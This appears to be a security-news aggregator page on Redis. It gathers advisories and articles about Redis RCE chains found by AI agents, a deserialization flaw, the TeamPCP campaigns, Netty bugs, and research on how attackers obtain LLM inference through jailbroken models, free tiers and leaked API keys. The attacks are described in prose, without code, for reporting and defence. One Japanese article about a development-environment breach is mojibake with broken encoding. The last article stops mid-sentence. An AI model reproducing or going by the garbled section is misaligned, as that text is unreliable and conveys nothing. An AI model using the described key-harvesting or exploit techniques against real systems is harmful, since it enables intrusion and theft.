Search/redis
Known CVEs
0
Highest CVSS
In KEV
0
Vendor
hiredis
Connections
59 relationships
CVE-2026-14265- Deserialization of Untrusted Data in AWS Advanced JDBC Wrapper RemoteQueryCachePlugin
CVE-2026-14265- Deserialization of Untrusted Data in AWS Advanced JDBC Wrapper RemoteQueryCachePlugin Bulletin ID: 2026-051-AWS Scope: AWS Content Type: Important (requires attention) Publication Date: 07/01/2026 12:45 PM PDT Description: The AWS Advanced JDBC Wrapper is an open-source JDBC driver wrapper that extends a JDBC driver to enable Amazon Aurora and AWS Cloud features such as failover handling and caching. We identified CVE-2026-14265, an issue in the RemoteQueryCachePlugin of the AWS Advanced JDBC Wrapper. When this plugin is enabled, query results read from the shared Redis/Valkey cache are deserialized without class filtering. An actor with write access to the shared cache infrastructure could insert a crafted serialized Java object that, when read by an application, results in execution of arbitrary code on the application server. Impacted versions: >=3.3.0 AND <=4.0.0 Resolution: This issue has been addressed in AWS Advanced JDBC Wrapper version 4.0.1. We recommend upgrading to the latest version and ensuring any forked or derivative code is patched to incorporate the new fixes. Workarounds: The RemoteQueryCachePlugin is not enabled by default. Customers who cannot immediately upgrade can mitigate this issue by disabling the RemoteQueryCachePlugin, and by restricting write access to the Redis/Valkey cache infrastructure to trusted principals. References: Please email [email protected] with any security questions or concerns.
aws.amazon.comAug 20, 2026extracted
TeamPCP Linked To Redis Attacks Dating Back To 2020 And Later Supply Chain Campaign
A new analysis has uncovered that the threat actor tracked as TeamPCP has been active on the cybercrime scene as far back as 2020, indicating the group has been compromising internet-facing infrastructure for years before training their sights on the software supply chain. "The connection is supported by overlapping domains, malware deployment paths, staging techniques, backend infrastructure, and operational tradecraft," Oligo Security researchers Avi Lumelsky and Gal Elbaz said. This includes two campaigns observed in the second half of 2025: ShadowRay 2.0 (aka IronErn), which involved hijacking artificial intelligence (AI) infrastructure into a self-propagating botnet, and TA-NATALSTATUS, which targeted exposed Redis servers to deliver cryptocurrency miners. TA-NATALSTATUS is assessed to be an evolution of a prior campaign that was detailed by Trend Micro in April 2020 that involved targeting Redis servers to deploy malware. This suggests that the threat actor has been actively targeting internet-accessible infrastructure across Ray, Docker, Redis, and React much before it branded itself as TeamPCP. Details of the attackers first emerged towards the end of last year when they were linked to the exploitation of security flaws in React Server Components (RSC) and Next.js to facilitate the extraction of credentials and sensitive data from compromised environments. The activity was codenamed Operation PCPcat. Then, earlier this year, Flare detailed a massive campaign undertaken by the threat actor to systematically target cloud native environments as part of efforts to set up malicious infrastructure for follow-on exploitation. "The operation's goals were to build a distributed proxy and scanning infrastructure at scale, then compromise servers to exfiltrate data, deploy ransomware, conduct extortion, and mine cryptocurrency," Flare security researcher Assaf Morag noted at the time. The group has since branched into high-profile supply chain compromises, weaponizing the interconnected nature of modern software to infect developer systems en masse by poisoning popular open-source libraries through a combination of GitHub Actions and token theft abuse. "One of the strongest operational links is the overlap between the IronErn GitHub and GitLab identities observed during ShadowRay 2.0 and TeamPCP's later infrastructure," Oligo said. "Correlating GitLab authentication logs, command-and-control infrastructure, reverse-shell activity, and malware staging establishes a direct operational bridge between the ShadowRay 2.0 campaign and the actor later operating publicly as TeamPCP." The latest findings show that not only are these efforts linked, but also that the threat actor repeatedly abused known security flaws impacting React, Docker, Redis, and Ray to gain access and rely on automated and wormable exploitation techniques for self-propagation. The expansion into cascading software supply chain attacks, therefore, represents a natural evolution of this trend, allowing the threat actors to take advantage of legitimate cloud infrastructure and repurpose tried and tested methods in their efforts. These shifts have been complemented by continuous updates to its malware arsenal, including a Python script ("kube.py") that's specifically used after breaching Kubernetes environments. While earlier versions of the script focused on propagation and setting up persistence, new variants observed as recently as March 2026 began to incorporate wiper-like functionality. This destructive code path checked whether the victim system was configured for the Iran timezone and, if that's the case, fired a DaemonSet that wiped every node in the cluster via a wiper not-so-subtly named Kamikaze. On Kubernetes nodes located outside of Iran, it deployed the CanisterWorm backdoor. For non-Kubernetes Iranian systems, the malware executed a "poison_pill()" routine to erase the entire file system. "Whether this continuity reflects a direct rebrand, a shared operator set, or close collaboration between historically related actors cannot be determined with 100% certainty," Oligo said. "What the evidence does demonstrate is that TeamPCP represents the continuation of an existing operational ecosystem rather than an entirely new threat actor that appeared in late 2025."
thehackernews.comAug 7, 2026extracted
Redis: PoC pubblico per lo sfruttamento della CVE-2026-66373
Redis: PoC pubblico per lo sfruttamento della CVE-2026-66373 Alert AL01/260727/CSIRT-ITA Sintesi Disponibile Proof of Concept (PoC) per la CVE-2026-66373 – già sanata dal vendor – presente in Redis, noto DBMS open source di tipo NoSQL. Tale vulnerabilità, potrebbe essere sfruttata da un attaccante remoto autenticato, in presenza di determinate condizioni, al fine di eseguire codice arbitrario sui sistemi interessati. Tipologia Remote Code Execution Denial of Service Descrizione e potenziali impatti In dettaglio, la CVE-2026-66373 – di tipo "Double Free" e con score CVSS 3.1 pari a 7.5 – interessa il sottosistema Redis Streams, ed in particolare la gestione dei consumer group, delle strutture NACK (Pending Entries List) e delle operazioni RESTORE e XGROUP DELCONSUMER. Tale vulnerabilità costituisce un bypass della patch per la CVE-2026-25243 - già trattata da questo CSIRT nell'ambito dell'AL05/260507/CSIRT-ITA - ed è dovuta al modo in cui Redis elabora alcuni oggetti ripristinati tramite il comando RESTORE: durante l'eliminazione dei consumer mediante XGROUP DELCONSUMER, se vengono rimossi più consumer che fanno riferimento al medesimo NACK, il server può tentare di liberare due volte la stessa area di memoria. Ciò determina una classica condizione di double free, che comporta la corruzione della memoria del processo Redis. Un attaccante autenticato a Redis con possibilità di eseguire i comandi RESTORE e XGROUP DELCONSUMER, potrebbe sfruttare tale condizione per ottenere l'esecuzione di codice arbitrario sul sistema target. Prodotti e/o versioni affette Redis, versione precedenti alla 8.8.0. Azioni di mitigazione Ove non già provveduto, si raccomanda l’applicazione delle patch di sicurezza più recenti fornite dal produttore.
acn.gov.itJul 27, 2026extracted
Kimi K3 Agents Found Redis Zero-Days and Built RCE Exploit, Researchers Say
Redis shipped seven security releases on July 23 after researchers published authenticated RCE PoCs for stock Redis 6.2.22, 7.4.9, 8.6.4, and 8.8.0. All four chains require RESTORE. The Streams chains also need EVAL and XGROUP; the 8.8.0 chain needs EVAL and the bundled RedisBloom module. Redis says the underlying memory flaws may lead to remote code execution. Redis 6.2.23, 7.2.15, and 7.4.10 fix the Streams shared-NACK use-after-free; Redis 8.2.8, 8.4.5, and 8.6.5 fix both the Streams issue and the RedisBloom and TDigest out-of-bounds writes; Redis 8.8.1 fixes the RedisBloom and TDigest loaders, while the Streams guard was already present in Redis 8.8.0. Two PoC targets, Redis 6.2.22 and 7.4.9, were the May security updates Redis told users to install, but those releases did not include the shared-NACK ownership guard. Upgrade to the fixed release for the deployed branch. Until then, revoke RESTORE from accounts that do not strictly need it and block untrusted network access. Restricting RESTORE cuts off both disclosed paths. Neither Redis's July 23 release notes nor the public PoC repositories reviewed reported in-the-wild exploitation as of July 24, 2026. Two Paths Through RESTORE The Redis Streams path is a shared-ownership bug. A corrupt RDB object can make two consumers point to the same pending-entry record, so removing both consumers frees the same object twice. The published script is designed to turn the resulting memory corruption into arbitrary memory access and ultimately invoke system(). The RedisBloom path is an out-of-bounds write in the TDigest RDB loader. The loader allocated memory from one serialized value but trusted a separate attacker-controlled capacity field when deciding how much data to load. The Redis 8.8.0 script is designed to turn that mismatch into read and write primitives, leak Redis and libc addresses, and call system(). The Streams Shared-NACK Chain The first path is in Redis Streams. A corrupt RDB object can make two consumers point to the same pending-entry record, represented internally by a streamNACK. Removing the first consumer frees the object and leaves the second holding a dangling pointer. The scripts then remove the second consumer too. One chunk, two frees. Redis 8.6.4's release notes cite PR #15081. But a source review by The Hacker News found that the tagged 8.6.4 source lacks the duplicate-ownership check added by that change. The guard appears in Redis 8.6.5, released on July 23. The published Redis 8.6.4 script is designed to turn the double-free into arbitrary memory access, then poison a database hash function so a crafted GET invokes system(). It restores the pointer and checks whether Redis still responds. The RedisBloom TDigest Chain The second path sits in the RedisBloom TDigest RDB loader. It allocated its centroid arrays from a serialized compression value, then trusted a separate attacker-controlled capacity field when deciding how many nodes could be loaded. A small real allocation paired with inflated metadata produces an out-of-bounds write. The Redis 8.8.0 script is designed to turn the write into read and write primitives, leak Redis and libc addresses, and poison a database hash function so a crafted GET calls system(). A separate proof of concept published the same root cause and an authenticated RCE chain against Redis 8.8.0. Redis's July fix requires the loaded TDigest capacity to match the allocation derived from the compression value. It also bounds the merged and unmerged node counters before reading the arrays. Seven Releases, No New CVE Records The repository calls the Streams issue part of a CVE-2026-25589 "incomplete fix family," but Redis maps that CVE to RedisBloom memory corruption during RESTORE, not the Streams shared-NACK flaw. Redis's July release notes list no CVE or CVSS score for either new bug class. As of July 24, searches by The Hacker News found no separate NVD record for the July shared-NACK or TDigest findings. NVD still listed the May records for CVE-2026-25243 and CVE-2026-25589. A search of CISA's Known Exploited Vulnerabilities catalog returned no entry for either identifier. The disclosure follows another AI-discovered Redis RCE flaw patched in May. Bera Buddies describes itself as "AI Agent Research." Chaofan Shou said on X that Kimi K3 agents found 19 Redis zero-days in about 90 minutes, and said another run produced the Redis 8.8.0 exploit in 27 minutes. Those counts, timings, and the claimed degree of autonomy remain self-reported. Redis's public record confirms the flaws and fixes. It does not validate the claimed zero-day count or how independently the agents worked. Redis 6.2.22 and 7.4.9 were the May destination. By July, both needed another update. Check the exact branch version, not whether Redis was merely "recently patched."
thehackernews.comJul 24, 2026extracted
GMOの在宅勤務廃止は間違っていない? ワサビのインシデントから考える企業防衛
GMO�C���^�[�l�b�g�O���[�v�̍ݑ�Ζ����x�����������������ɁA�e�����[�N�̐����߂ċc�_����Ă���B�����������A���T�r�����\�����s���A�N�Z�X�ł́A����̊J�������N�����ƂȂ������Ƃ����������B���̎���́A�e�����[�N�̊댯�������������̂Ȃ̂��B �@���T�r��2026�N7��7���A�J�����[���ւ̊O������̕s���A�N�Z�X�Ɋւ���Z�L�����e�B�C���V�f���g�̒������ʂ����\�����BAPI�L�[��Ǘ��҃A�J�E���g���Ȃǂ��ގ悳�ꂽ���A�ڋq�̌l����@�����̘R�����A�s�����p�͊m�F����Ȃ������Ƃ����B���Ђ͐N���o�H�⌴���A���{��������ڍׂɌ��J���Ă���B �@�s���A�N�Z�X��2026�N7��4���ɔ��������B�U���ΏۂƂȂ����̂͊J�����[����ʼnғ����Ă����uMySQL�v�f�[�^�x�[�X�ƁuRedis�v�L���b�V���T�[�o�������B�U���҂̓f�[�^�x�[�X���̏����O�����M������A�f�[�^���폜���A�����T���m�[�g���c�����B �@���o������������ڋq���́A��������e�X�g�p�r�ō쐬�����_�~�[�f�[�^�������B���݂���ڋq�̌l���͊܂܂�Ă��Ȃ������Ƃ��Ă���B �@�ގ悳�ꂽ���ɂ́A�ꕔ��API�L�[��A�v���P�[�V����ID�A�e�X�g�f�[�^�A���T�r�Ǘ��҃A�J�E���g��܂܂�Ă����B�Ǘ��҃A�J�E���g�̃p�X���[�h�̓\���g�t��SHA-256�Ńn�b�V��������Ă���A�����ł͕ۑ�����Ă��Ȃ������B���Ђ͑S�Ǘ��҃A�J�E���g���~������Ńp�X���[�h��ύX���A��Q�̖h�~��}�����B �@�܂��A�ގ悳�ꂽ���ɂ͖{�Ԋ��ł����p���Ă���API�L�[�ƃA�v���P�[�V����ID�̈ꕔ���܂܂�Ă����B���̂���API�L�[�͍Ĕ��s����ƂƂ��ɋ��L�[���������B�s�����p�͊m�F����Ă��Ȃ��Ƃ����B �@�A�v���P�[�V����ID�ɂ��Ă��Ĕ��s���J�n�����B�ΏۂƂȂ�API�́uLuxclusif�v�u���t�[�V���b�s���O�v�u�������t�I�N�v�u����i�r�v�uUPS�v�uShopify�v�uWalmart�v�������B �@���Ђ́u�A�v���P�[�V����ID�����ł͒������⏤�i���ɃA�N�Z�X�ł����A���p�҂��s�R�ȃT�C�g��OAuth�F�������Ȃ������擾����邱�Ƃ͂Ȃ��v�Ɛ������Ă���B �@�U���҂̓f�[�^�ގ��ARedis�̐ݒ�����������ĈÍ����Y�}�C�j���O�����݂��B�������Ώۊ��̓R���e�i���Ŋu������A���s�t�@�C�������݂��Ȃ��������߁A�}�C�j���O�͎��s���ꂸ�A�V�X�e���ւ̔�Q���������Ȃ������B �@�A�v���P�[�V����ID�̍Ĕ��s��́A���p�ґ��Ŋe���[���̐ݒ��ʂ���ĔF���K�v�ɂȂ�B���{���@������͌��܂莟��ē�����Ƃ��Ă���B �@���Ђɂ��ƁA�s���A�N�Z�X�̌����͕����̐ݒ�s�����d�Ȃ������Ƃ������B �@�܂��A�uDocker�v�R���e�i�̃f�[�^�x�[�X�|�[�g�����[�J���ڑ�����ł͂Ȃ��A�O������ڑ��\�ȏ�ԂɂȂ��Ă����B����ɁA�J���[����ڑ����Ă�������[�^�[�ł��ݒ�ƃt�@�[���E�F�A�̕s��ɂ���ē��Y�|�[�g���O�����J����Ă����Ƃ����B�U���҂͌��J�|�[�g��T������bot�ɂ���đΏۂ����A�s���A�N�Z�X�ɐ��������Ƃ��Ă���B �@�C���V�f���g������A���Ђ͍U�����̓����e���������J�n����ƂƂ��ɁA�Ǘ��҃A�J�E���g��~��Z�b�V���������������{�����B���̓��̂�����API�L�[�ȂNjً}���̍����F�؏����Ĕ��s���Ė��������A�\�[�X�R�[�h�̏C�������������B���̌�A�A�v���P�[�V����ID�̍Ĕ��s��Ǘ��҃p�X���[�h�̕ύX��i�߂Ă���B �@���Ђ͍Ĕ��h�~��Ƃ��āADocker���J�|�[�g��127.0.0.1�Ɍ��肵�ĊO���ڑ����Ւf���鑼�AMySQL��Redis�̔F�؏������I�ɍX�V�����B�J���p�f�[�^�Ɋ܂܂��p�X���[�h�n�b�V����F�؏��̓_�~�[�l�ɒu�������A�{�Ԋ��Ƃ̊֘A�t����r�������B�Ώۃ��[�^�[�ł�UPnP�@�\�������A�|�[�g�]���ݒ���폜����B�J���S���ґS���̒[���ɑ��ĐN���e�X�g�����{���A�O���̃Z�L�����e�B����Ƃɂ��č�����\�肾�B GMO�C���^�[�l�b�g�O���[�v�̏T1���́u�ݑ�Ζ��̐����v���S�p�~�ɔ����A�e�����[�N�̐���ɘb�肪�W�܂��Ă���B�e�����[�N�ɂ��Z�L�����e�B���X�N�͂���܂ł������Ă����B����̃��T�r�̃C���V�f���g���A����[�^�[�̐ݒ��t�@�[���E�F�A�̕s����N���̈�����������Ƃ���A�u�ݑ�Ζ�������N�������́v�Ǝ~�߂�l�����邾�낤�B �����l�I�ɂ́A����͏����_�_���قȂ�B����̎��Ⴊ�������̂́A�e�����[�N���̂��̂̊댯���ł͂Ȃ��A����̊J��������ƃV�X�e���̈ꕔ�Ƃ��ĊǗ��ł��Ă������ǂ����Ƃ�����肾�B �J���҂�����ŋƖ������邱�Ƃ͒������Ȃ��B����Ŏ���[�^�[��NAS�AIoT�@��A�J���pPC�́A��Ƃ̃l�b�g���[�N���E�̊O���ɂ��邱�Ƃ���A�Ǘ����l�C���ɂȂ�₷���B��Ƃ̃Z�L�����e�B�S���҂�EDR��MDM�����Ă��Ă��A����[�^�[��UPnP�ݒ��|�[�g�J���A�t�@�[���E�F�A�̍X�V�܂Ŕc�����Ă���P�[�X�͏��Ȃ����낤�B ����̃C���V�f���g�ł́ADocker�̐ݒ�s�������łȂ��A����[�^�[�̐ݒ�ƃt�@�[���E�F�A�̕s����d�Ȃ������ƂŁA�J�������C���^�[�l�b�g�ɘI�o�����B����͓���ȍU���ł͂Ȃ��A�����̏����Ȑݒ�~�X���A�����ċN�����T�^�I�Ȏ��̂��ƌ�����B �ނ���]�����ׂ��́A���T�r���N���o�H�⌴���������܂ŋ�̓I�Ɍ��\�����_���B�ߔN�́u�s���A�N�Z�X������܂����v�u�������ł��v�Ƃ������\���A�Z�p�I�Ȍ��������Ƃ������B���ē��Ђ́A����[�^�[��Docker�ݒ�܂Ŋ܂߂Đ����������ƂŁA���ЂɂƂ��Ă��Q�l�ɂȂ�C���V�f���g���|�[�g�ƂȂ����B ����A��Ƃ��c�_���ׂ��Ȃ̂́u�o�Ђ��ݑ�v�Ƃ�����ґ���ł͂Ȃ��B�e�����[�N�𑱂���̂ł���A����l�b�g���[�N��J�������ǂ��܂Ŋ�Ƃ̊Ǘ��ΏۂɊ܂߂邩�Ƃ����^�p�v�������B�[���g���X�g���f�����Ƃ͑��������A���́u�g���X�g�̋��E�v���]�ƈ��̎���܂Ŗ{���ɍL�����Ă���̂��B����̎���́A���̖₢�����߂ē˂��t�����B�i�c�����l�j Copyright © ITmedia, Inc. All Rights Reserved.
atmarkit.itmedia.co.jpJul 16, 2026extracted
AISLE Snapshot keeps source code under enterprise control during vulnerability scanning
AISLE Snapshot keeps source code under enterprise control during vulnerability scanning AISLE has introduced AISLE Snapshot, a new offering that gives regulated and security-sensitive enterprises access to frontier-class vulnerability detection inside their own environments, at a fraction of the cost, with source code and security data that never leave their control. Organizations are under increasing pressure to secure growing codebases against a rapidly expanding vulnerability landscape. Reported CVEs are up 42.5% year-over-year through mid-2026, and attackers are leveraging AI to accelerate discovery and exploitation at the same pace. Yet many organizations remain locked out of the best tools by data sovereignty, compliance, and operational constraints. AISLE Snapshot deploys AISLE’s frontier-class vulnerability discovery technology directly inside the customer’s private cloud, on-premises, or fully air-gapped environment, eliminating the data sovereignty and compliance barriers that have kept the best tools out of reach. Organizations receive verified findings prioritized by business impact, with the full context needed to move from discovery to remediation without delay. “The organizations with the greatest pressure to secure software often face the strictest requirements around privacy, sovereignty, and operational control,” said Ondrej Vlcek, CEO of AISLE. “They can’t send their code to external services, but they also can’t afford to wait or to throw more people at the problem. “AISLE Snapshot is designed to be up and running quickly, with no added strain on security teams. And because we’re smart about model selection, matching the right model to the right task rather than defaulting to frontier, organizations get faster performance at a fraction of the cost. The result isn’t a raw dump of findings. It’s verified, prioritized intelligence that security teams can act on immediately.” Frontier-class detection without frontier-class costs AISLE Snapshot delivers vulnerability discovery at approximately 10 times greater cost efficiency than frontier models such as Anthropic’s Mythos. Snapshot also extends that efficiency through triage, prioritizing findings across large codebases and broad software portfolios without prohibitive infrastructure costs. Organizations using AISLE Snapshot can: Achieve detection — powered by a combination of AI-based code analysis and AI-guided fuzzing Act on findings, not noise — receive verified, business impact-prioritized results with a false positive rate under 5% Deploy anywhere — public cloud, private cloud, on-premises, or fully air-gapped, with no compromise on capability Leverage the right model for the job — use AISLE-optimized cybersecurity LLMs or existing models to maximize performance and cost efficiency See their full exposure in days — with no added strain on security teams Budget with confidence — flat, predictable pricing independent of token usage To date, AISLE has discovered and responsibly disclosed more than 225 CVEs across widely used software projects, including OpenSSL, Linux, cURL, Apache, Mozilla, Redis, OpenEMR, and Elastic. While Snapshot is focused on vulnerability discovery and prioritization, it is built on the same platform that enables AISLE’s closed-loop approach to vulnerability management, spanning discovery, prioritization, remediation, verification, and self-improvement.
helpnetsecurity.comJun 10, 2026extracted
USN-8401-1: Netty vulnerabilities
Details It was discovered that Netty's HTTP proxy handler did not properly validate headers when constructing CONNECT requests. An attacker could possibly use this issue to inject arbitrary HTTP headers into CONNECT requests. This issue only affected Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 26.04 LTS. (CVE-2026-42578) It was discovered that Netty's DNS codec did not properly enforce domain name constraints. An attacker could possibly use this issue to bypass domain name validation, or cause Netty to consume resources, leading to a denial of service. This issue only affected Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 26.04 LTS. (CVE-2026-42579) It was discovered that Netty did not correctly handle HTTP/1.0 requests containing both a Transfer-Encoding and Content-Length header. A remote... It was discovered that Netty's HTTP proxy handler did not properly validate headers when constructing CONNECT requests. An attacker could possibly use this issue to inject arbitrary HTTP headers into CONNECT requests. This issue only affected Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 26.04 LTS. (CVE-2026-42578) It was discovered that Netty's DNS codec did not properly enforce domain name constraints. An attacker could possibly use this issue to bypass domain name validation, or cause Netty to consume resources, leading to a denial of service. This issue only affected Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 26.04 LTS. (CVE-2026-42579) It was discovered that Netty did not correctly handle HTTP/1.0 requests containing both a Transfer-Encoding and Content-Length header. A remote attacker could possibly use this issue to perform HTTP request smuggling attacks. (CVE-2026-42581) Violeta Georgieva discovered that Netty incorrectly paired responses with requests when handling informational HTTP responses. A remote attacker could possibly use this issue to perform HTTP request smuggling attacks. (CVE-2026-42584) Violeta Georgieva discovered that Netty incorrectly parsed malformed Transfer-Encoding headers. A remote attacker could possibly use this issue to perform HTTP request smuggling attacks. (CVE-2026-42585) It was discovered that Netty's Redis encoder did not validate CRLF characters. An attacker could possibly use this issue to inject arbitrary Redis commands. This issue only affected Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 26.04 LTS. (CVE-2026-42586) The problem can be corrected by updating your system to the following package versions: Reduce your security exposure Ubuntu Pro provides ten-year security coverage to 25,000+ packages in Main and Universe repositories, and it is free for up to five machines.
ubuntu.comJun 8, 2026extracted
AI Agent Uncovers 21 Zero-Days in FFmpeg; Chrome Patches Record 429 Bugs
Two things landed within days of each other this week. A security startup reported 21 previously unknown vulnerabilities in FFmpeg, the media library inside almost everything that touches video, all of them found by an autonomous AI agent. The same week, Google shipped Chrome 149 with patches for 429 security bugs, the most ever in a single release. Only the FFmpeg bugs were found by AI. Chrome's record landed after Google overhauled its bounty program to cope with a flood of AI-generated reports. The mechanisms differ, but the pressure is the same: AI is putting more vulnerabilities in front of the people who have to deal with them, and faster than before. The FFmpeg findings come from depthfirst, whose autonomous security agent scanned the project's roughly 1.5 million lines of C and produced 21 confirmed zero-days, each with a reproducible proof-of-concept input. The company puts the cost of the run at around $1,000. Several of the bugs had been latent for 15 to 20 years; one stack overflow in the service-description-table code dates to 2003 and sat untouched for 23 years. Most are heap or stack overflows in parsers and demuxers, spanning components from the TS demuxer to the VP9 decoder. depthfirst says some already carry CVE identifiers; its writeup lists nine, CVE-2026-39210 through CVE-2026-39218, and notes the rest are fixed but not yet numbered. It also published a PoC. In separate news, Chrome 149 fixes 429 vulnerabilities, a record for a single release. Over 100 are critical or high severity, mostly use-after-free and insufficient input validation. The worst, CVE-2026-10881 (CVSS 9.6), is an out-of-bounds read and write in the ANGLE graphics engine that lets a crafted page escape the sandbox and run code on the host. Google paid $97,000 for it. The highest-severity bugs were mostly internal finds: of roughly 90 high-severity bugs, only 10 came from outside researchers, and 19 of the 22 critical ones were Google's own. The AI connection is more about volume than authorship. Google hasn't tied the 429 to AI; the on-record signal is the bounty overhaul it made in April, prompted by a flood of AI-generated submissions and now asking for a concise reproducer over the long writeups AI churns out. Google's Big Sleep agent reported a run of FFmpeg bugs last year, now visible on the project's security page tagged BIGSLEEP, and Anthropic's Mythos model pulled a 16-year-old H.264 flaw and others out of FFmpeg for about $10,000, three of which shipped in FFmpeg 8.1, per its own writeup. Days ago, another autonomous tool found an authenticated RCE in Redis that had been present since version 7.2.0, unnoticed for over two years. The research points the same way: a February study had an agent reproduce working PoCs for more than half of 100 real Linux kernel N-day bugs, beating fuzzing. For FFmpeg, pull the fixed upstream build or your distribution's security update as soon as it lands, and prioritize anything that ingests untrusted RTSP or AV1-over-RTP. FFmpeg is widely bundled in media pipelines, Python wheels, container images, and appliances, so do not stop at system packages; those embedded copies need patching too. For Chrome, update to 149.0.7827.53 on Linux or 149.0.7827.53/54 on Windows and macOS, or confirm auto-update has run. The response has to match the new pace: shorter patch cycles, auto-update wherever it exists, and dependency bumps that carry CVE fixes treated as security work, not routine maintenance. The hard part is shifting, though. Finding these bugs has gotten cheap; triaging the reports, shipping the fixes, and getting them installed has not, and much of that work still falls to volunteers and a thin layer of human triagers now expected to keep pace with machines.
thehackernews.comJun 6, 2026extracted
How attackers are gaining access to LLM inference
This article is based on joint research with Eran Segal, researcher at Kodem Security. The most capable commercial AI models are now useful enough to attackers that they have become an integral part of their kill chain, in multiple steps. The Cybench benchmark tests models on offensive cyber tasks. Its current top performers (Claude Opus 4.6, Claude Sonnet 4.5, Grok 4) can write functional exploit code, reason through credential chains, and sustain complex reconnaissance workflows: multi-step offensive work that previously required human expertise. Malware families are already using this. Instead of generating a payload offline and shipping it, they wire a live LLM API into the malware itself so it can adapt its behavior at runtime on the infected host. Commercial providers run abuse detection and terminate accounts linked to malicious activity. A payment method creates a paper trail that investigators can follow. So attackers solve the access problem the same way they solve any resource problem: they steal it, find it free, or find it unguarded. This post covers five routes threat actors use to reach LLM inference without paying for it: buying offensive models on underground forums, using front-end models using 3rd party LLM service that allows paying in bitcoin, using free-tier or keyless public APIs, hunting for leaked API keys in developer artifacts, and exploiting self-hosted LLM servers left open on the internet. Method 1: Offensive LLMs and Anonymous Payment Cyber-oriented LLMs sold on underground forums are the most visible route. WormGPT, GhostGPT, KawaiiGPT, and Xanthorox are the most cited examples, covered in depth by Unit 42. These are returned open-weight models or jailbroken wrappers over commercial APIs, marketed specifically as having no content filter. They solve the moderation problem but not the cost problem: access is sold on a subscription basis, and the capability ceiling sits well below that of frontier commercial models. So they are useful for generating phishing content or simple malware stubs, but less so for the kind of autonomous multi-step offensive work that the frontier models in the Cybench ranking are capable of. Method 2: Using Frontier Models Through a Third-Party Service If a threat actor would like to use the frontier models to achieve top performance, they can still use these models using 3rd party services such as PayWithMoon and AIMLAPI. These services sit between the attacker and a commercial LLM provider, accepting cryptocurrency without identity verification and then funding a legitimate provider account on the attacker's behalf. The account itself reaches frontier models, but the funding trail stops at the middleman. The account will still get burned once abuse detection triggers, but replacing it is cheap. The upstream provider has no usable identity to pursue. This is how attackers buy frontier-model access while skipping the paper trail a normal commercial account would leave behind. Method 3: Free-Tier and Keyless Public Inference APIs A cheaper alternative to underground subscriptions exists in plain sight. Most major inference providers publish permanent free tiers that require nothing more than a disposable email address, and a handful of services accept requests with no credentials at all. An attacker who registers for a pool of free-tier accounts gets as meny tokens as he wishes without paying a dime. The scale of the free-tier ecosystem is easy to measure because the community has cataloged it. Public curated lists such as cheahjs/free-llm-api-resources and mnfst/awesome-free-llm-apis explicitly filter for providers that offer a permanent (not trial-credit) free tier with no credit card. Representative entries, with numbers pulled from each provider's own rate-limit documentation: Groq: 30 requests/minute (RPM) on all free-tier models, with requests/day (RPD) caps ranging from 1,000 (for the 70B llama) to 14,400 (for the 8B llama). Cerebras: 30 RPM, 14,400 RPD, and roughly 1M tokens/day on three of the four free-tier models (gpt-oss-120b, llama3.1-8b, qwen-3-235b). Cohere: 20 RPM on the Chat API and a hard cap of 1,000 total API calls/month on a trial key. Mistral La Plateforme: 1B tokens/month on the Experiment plan. No credit card is required, but a verified phone number is required, which is the highest sign-up friction in this group. HuggingFace: Free accounts are rate-limited on both the Hub API and the Inference API per 5-minute window. Anonymous per-IP access exists but is stricter than the free-account path. OpenRouter: 50 free model RPD with no deposit at all, and 1,000 RPD after a one-time $10 top-up that is never spent against model usage. SambaNova: 20 RPM and 20 RPD, with a 200,000 tokens/day cap. The tightest daily request ceiling in this group by a wide margin. These providers differ in rate limits, models, and throughput. What they share is that a usable credential requires nothing more than a disposable email address (a phone number in Mistral's case) and no payment method. Credentials can simply be rotated when limits are reached. The fully keyless end of the spectrum is thinner, but it exists. Pollinations.ai exposes an OpenAI-compatible endpoint that accepts requests with no authentication for basic use. DuckDuckGo's Duck.ai anonymizes browser-based access to Claude 3.5 Haiku, Llama 4 Scout, Mistral Small 3, GPT-5 mini, and GPT-4o mini with no account at all. These services are not designed for bulk programmatic use, but they are reachable from any HTTP client, and the only cost is rate-limit friction. Among the malware families in the intro table, LameHug/PROMPTSTEAL is the cleanest example of this route in the wild: it calls HuggingFace's Inference API for Qwen 2.5-Coder-32B-Instruct to drive reconnaissance and data theft, with no embedded credentials reported by Splunk. Whether the malware carries a token or registers one at runtime is not established, but either way, the enabling property is HuggingFace's no-credit-card free tier. Method 4: Exposed API Keys The fourth route to free model access doesn't require finding an exposed server at all. Developers routinely hardcode credentials directly into apps, config files, and scripts. These credentials can be found in GitHub in open-source projects, while closed-source projects contain the credentials in the app itself. These artifacts are submitted to VirusTotal when apps are submitted for malware analysis. It can be an APK, ELF, EXE, or any type of artifact shipped with the product. To find them systematically, we wrote a YARA rule targeting the key formats of the major AI providers: Google Gemini (AIzaSy…), OpenAI (sk-…), Anthropic (sk-ant-…), HuggingFace (hf_…), Replicate, Mistral, Cohere, Groq, and several others. We ran the rule as a retrohunting query across the VirusTotal corpus, collected the matching sample hashes, then pulled the raw files and ran a regex extraction pass to extract every key-value pair, provider, and surrounding code context. From there, we enriched each sample with VirusTotal metadata to understand detection rates and file types. The final step was validation: a lightweight GET request against each provider's model-list or whoami endpoint. No prompts sent, just a check of whether the key authenticates. The corpus yielded 647 unique keys across all providers. Roughly 62% were Google Gemini (AIzaSy…) keys. That concentration traces back to the Android developer ecosystem, where apps built for translation, search, or chatbot features commonly bundle the key directly in compiled resources or Java code. HuggingFace keys made up about 11%, Replicate about 8%, OpenAI sk- keys about 7%, and the remaining share was split across Voyage (5%), Mistral (3%), and Cohere (3%), with trace amounts of Anthropic, Groq, and OpenAI environment-style keys. The Mistral and Cohere keys concentrated heavily in a single file: a cracked "Collins Italian Dictionary MOD" Android APK that bundled 20 Mistral keys and 15 Cohere keys alongside 2 Gemini keys, with the small remainder scattered across two versions of a Ubisoft game APK. About 65% of the 659 unique samples are confirmed Android by VirusTotal's type classification. Another 18% are ZIP archives that follow the same submission pattern but were not explicitly tagged as Android. The true APK share sits between 65% and 84%. The remainder consisted of Windows PE files (5%), HTML pages, Python scripts, plain-text credential dumps, and 